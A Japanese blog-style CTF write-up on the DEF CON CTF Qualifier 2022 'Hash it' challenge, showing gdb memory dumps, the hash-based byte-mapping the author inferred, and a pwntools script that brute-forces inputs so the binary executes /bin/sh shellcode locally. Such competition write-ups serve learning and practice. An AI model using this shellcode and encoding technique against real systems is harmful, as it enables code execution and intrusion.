DEF CON CTF Qualifier 2022 Write-up(Hash it)

DEF CON CTF Qualifier 2022に参加しました。
実生活で色々あり、3~4か月ほど全くCTFができない日々が続きましたが、段々と落ち着いてきたので
時間があるときには続けていこうと思いました。
ただ、以前ほど時間が割けなくなりつつあることが非常に残念です。

3月、4か月もやらないと、libc 2.27と2.31の防御機構の違いなど
すべて忘れてしまっていて、なかなか焦りますが、とりあえずリハビリでやりました。

pwnとかの区分けが無かったので適当にpwnっぽいのを解きました。
1問は開催中に解きました。
ただ、開催期間が終了したら、問題を見ることができないようで、どうにも復習がしづらい状況でした。

write upを書くほどの内容でもないのですが、ひとまず生存報告もかねて書こうと思います。

Hash it

? solves / ? points

開催期間中に解けた。
結構ポイントが低かったので、多分簡単だったと思われます。

実行すると何も表示されない。
デコンパイルして色々試していたが、最初に入力した値を変換して
Mallocしていることがわかる
(例えば、0x10と入力すると 0x10000000  をmallocしにいくようだ)

その後、再度読み込みを求められて、mallocした領域(下の画像だと、0x155554f16010)に値が入力され、

色々変換されて、他の領域に値が入力される。(下の画像だと、0x155554e96000)

そしてこの領域が実行される。

ということで、結論、どんな変換がされてるのかを解析して
任意の出力を作ることができれば、その領域が実行されるのでシェルでも何でも開ける。
(この時点で気づくが、簡単なrev問っぽい…)
ということで、いくつか入れて試してみる。

インプットがAAAA…の時

gdb-peda$ x/20gx 0x155555518000
0x155555518000:	0x2858803b2858803b	0x2858803b2858803b
0x155555518010:	0x2858803b2858803b	0x2858803b2858803b
0x155555518020:	0x2858803b2858803b	0x2858803b2858803b
0x155555518030:	0x2858803b2858803b	0x2858803b2858803b
0x155555518040:	0x2858803b2858803b	0x2858803b2858803b
0x155555518050:	0x2858803b2858803b	0x2858803b2858803b
0x155555518060:	0x2858803b2858803b	0x2858803b2858803b
0x155555518070:	0x2858803b2858803b	0x2858803b2858803b
0x155555518080:	0x2858803b2858803b	0x2858803b2858803b
0x155555518090:	0x2858803b2858803b	0x2858803b2858803b

BBBB…とすると

gdb-peda$ x/20gx 0x155555518000
0x155555518000:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518010:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518020:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518030:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518040:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518050:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518060:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518070:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518080:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518090:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d

BBBBAAAA…

gdb-peda$ x/20gx 0x155555518000
0x155555518000:	0x2858719d2858719d	0x2858719d2858719d
0x155555518010:	0x2858719d2858719d	0x2858719d2858719d
0x155555518020:	0x2858719d2858719d	0x2858719d2858719d
0x155555518030:	0x2858719d2858719d	0x2858719d2858719d
0x155555518040:	0x2858719d2858719d	0x2858719d2858719d
0x155555518050:	0x2858719d2858719d	0x2858719d2858719d
0x155555518060:	0x2858719d2858719d	0x2858719d2858719d
0x155555518070:	0x2858719d2858719d	0x2858719d2858719d
0x155555518080:	0x2858719d2858719d	0x2858719d2858719d
0x155555518090:	0x2858719d2858719d	0x2858719d2858719d

BBAABBAA

gdb-peda$ x/20gx 0x155555518000
0x155555518000:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518010:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518020:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518030:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518040:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518050:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518060:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518070:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518080:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518090:	0x28fc809d28fc809d	0x28fc809d28fc809d

私は怠惰なので、残念ながらREVをがっつりする元気はなかった。
ただ上記から、どうやらインプットを2バイトずつ区切りで、
なんかしらの1バイト列に変換しているだろう思った。

ただし、インプットの2バイトがそのまま素直に実行領域の1バイトと
1対1対応になっていないようだ。
GDBデバッグしているとわかるが、インプットされた文字をmd5Sha1等に投げ込んでいることがわかる。
後はもはやメタ読みであるが、下記はAAをHashにかけた結果。
どうやら、

MD5: 3b98e2dffc6cb06a89dcb0d5c60a0206
SHA1: 801c34269f74ed383fc97de33604b8a905adb635
SHA2 256: 58bb119c35513a451d24dc20ef0e9031ec85b35bfc919d263e7e5d9868909cb5
SHA2 512: 282154720abd4fa76ad7cd5f8806aa8a19aefb6d10042b0d57a311b86087de4de3186a92019d6ee51035106ee088dc6007beb7be46994d1463999968fbe9760e


上記のハッシュ関数の1バイト目を引っ張ってきているようだ。
これでおおむね解けたので、あとはシェルコードを作り出すように実装するだけ。

方針としては、意図した1バイトになるように
2バイトをブルートフォースでつくりだしてつなげていくだけ。

あまり安定しなかった。exploitが通った直後にcat flagをすれば通る。下記はローカル用。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']


p=process("/home/ubuntu/Desktop/ctf/defcon/HashIt/zc7ejjq9ehhcqj1x61ekoa8pjtk7"
          , aslr=False)
#gdb.attach(p)

p.send(b"\x00\x01\x00\x00")

def create_payload(payload):
    answer="".encode()
    for p in range(len(payload)):
        for i in range(0x01,0x80):
            for j in range(0x01, 0x80):
                tmp=chr(i).encode()+chr(j).encode()
                #print("searching", p, tmp)
                if p%4 == 0:
                    # SHA512
                    a=util.hashes.sha512sum(tmp)[0:1]
                elif p%4 == 1:
                    # SHA256
                    a=util.hashes.sha256sum(tmp)[0:1]
                elif p % 4 == 2:
                    # SHA1
                    a=util.hashes.sha1sum(tmp)[0:1]
                elif p % 4 == 3:
                    # MD5
                    a=util.hashes.md5sum(tmp)[0:1]
                else:
                    continue
                print(a, payload[p])
                if ord(a)==payload[p]:
                    answer=tmp+answer
                    print(p, "found!")
                    break
            else:
                continue
            break
    return (answer)

shellcode=b""

shellcode+=b"\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode+=b"\x05\x0f\x3b\xb0\x5f\x54\x53\x68"
shellcode+=b"\x73\x2f\x2f\x6e\x69\x62\x2f\xbb"
shellcode+=b"\x48\xf6\x31\x48\xd2\x31\x48\x50"

p.sendline(create_payload(shellcode)*(0x100000))

p.interactive()

リハビリ期間中とはいえ、これしか解けなかったので精進したい。